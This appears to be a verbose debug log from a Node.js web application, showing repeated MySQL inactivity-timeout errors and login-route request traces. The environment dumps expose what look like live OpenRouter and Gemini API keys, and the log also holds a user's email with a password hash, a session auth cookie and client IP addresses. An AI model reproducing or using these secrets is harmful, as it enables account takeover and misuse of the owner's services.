    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-31 06:43:38' as DATETIME)"
}
2026-05-31T12:48:20.292Z server-connect:router Serving templateView /
2026-05-31T12:48:20.294Z server-connect:app Executing action step identify
2026-05-31T12:48:20.294Z server-connect:app options: { provider: 'security' }
2026-05-31T12:48:20.294Z server-connect:auth No login cookie found
2026-05-31T12:48:20.294Z server-connect:output identity: false
2026-05-31T12:48:20.294Z server-connect:app Executing action step restrict
2026-05-31T12:48:20.294Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-31T12:48:20.295Z server-connect:output restrict: undefined
2026-05-31T12:48:20.680Z server-connect:router Serving templateView /login
2026-05-31T12:48:20.680Z server-connect:app Executing action step identify
2026-05-31T12:48:20.680Z server-connect:app options: { provider: 'security' }
2026-05-31T12:48:20.680Z server-connect:auth No login cookie found
2026-05-31T12:48:20.680Z server-connect:output identity: false
2026-05-31T12:48:20.680Z server-connect:router Render template layouts/authentication
2026-05-31T12:48:20.681Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '205.210.31.8',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-01T12:48:20.680Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '205.210.31.8',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '205.210.31.8',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-31 13:05:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-31 13:05:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-31 14:38:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-31 14:38:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-31 15:30:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-31 15:30:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-31 21:06:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-31 21:06:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-31 21:54:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-31 21:54:38' as DATETIME)"
}
2026-05-31T23:20:44.497Z server-connect:router Serving templateView /
2026-05-31T23:20:44.499Z server-connect:app Executing action step identify
2026-05-31T23:20:44.499Z server-connect:app options: { provider: 'security' }
2026-05-31T23:20:44.499Z server-connect:auth No login cookie found
2026-05-31T23:20:44.499Z server-connect:output identity: false
2026-05-31T23:20:44.499Z server-connect:app Executing action step restrict
2026-05-31T23:20:44.499Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-31T23:20:44.500Z server-connect:output restrict: undefined
2026-05-31T23:20:46.181Z server-connect:router Serving templateView /login
2026-05-31T23:20:46.181Z server-connect:router Serving templateView /
2026-05-31T23:20:46.182Z server-connect:app Executing action step identify
2026-05-31T23:20:46.182Z server-connect:app options: { provider: 'security' }
2026-05-31T23:20:46.182Z server-connect:auth No login cookie found
2026-05-31T23:20:46.182Z server-connect:output identity: false
2026-05-31T23:20:46.182Z server-connect:router Render template layouts/authentication
2026-05-31T23:20:46.182Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '64.89.163.238',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-01T23:20:46.180Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '64.89.163.238',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '64.89.163.238',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-05-31T23:20:46.223Z server-connect:app Executing action step identify
2026-05-31T23:20:46.223Z server-connect:app options: { provider: 'security' }
2026-05-31T23:20:46.223Z server-connect:auth No login cookie found
2026-05-31T23:20:46.223Z server-connect:output identity: false
2026-05-31T23:20:46.223Z server-connect:app Executing action step restrict
2026-05-31T23:20:46.223Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-31T23:20:46.223Z server-connect:output restrict: undefined
2026-05-31T23:20:46.257Z server-connect:router Serving templateView /login
2026-05-31T23:20:46.257Z server-connect:app Executing action step identify
2026-05-31T23:20:46.257Z server-connect:app options: { provider: 'security' }
2026-05-31T23:20:46.257Z server-connect:auth No login cookie found
2026-05-31T23:20:46.257Z server-connect:output identity: false
2026-05-31T23:20:46.257Z server-connect:router Render template layouts/authentication
2026-05-31T23:20:46.258Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '64.89.163.238',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-01T23:20:46.257Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '64.89.163.238',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '64.89.163.238',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-06-01 01:44:39' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-06-01 01:44:39' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-06-01 04:58:39' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-06-01 04:58:39' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-06-01 05:35:39' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-06-01 05:35:39' as DATETIME)"
}
2026-06-01T05:57:19.908Z server-connect:router Serving templateView /
2026-06-01T05:57:19.974Z server-connect:app Executing action step identify
2026-06-01T05:57:19.974Z server-connect:app options: { provider: 'security' }
2026-06-01T05:57:20.027Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2026-06-01T05:57:21.830Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-06-01T05:57:21.882Z server-connect:output identity: 1
2026-06-01T05:57:21.882Z server-connect:app Executing action step restrict
2026-06-01T05:57:21.882Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-01T05:57:21.883Z server-connect:output restrict: undefined
2026-06-01T05:57:21.883Z server-connect:app Executing action step restrict
2026-06-01T05:57:21.883Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-01T05:57:21.884Z server-connect:output restrict: undefined
2026-06-01T05:57:21.884Z server-connect:router Render template layouts/main
2026-06-01T05:57:21.884Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AJhjHwWrmXNXXVxcuGPi%2B0g%3D%3D.9ETzlI4WGpv6%2FWRw5oaj7jVlhNoM8%2BRmEyHUnSwFQr7uaYLAd%2F2gEWlZ2KZ7I%2BvkEcfpPjifPhHsL8yzWpTvm3u8LlQLMHcINHdENk842zRIWRutKzXc9RzvMTDY2nLwxYKtH5MTKwrL7X0Y7TZ5xCiQmxH7PLE1r7VrNCpdkng%3D.aRjTpztkzhxjNgZSx7vHR%2BGxyecSm%2FwZI5b0%2FIgHdMA',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-02T05:57:19.908Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
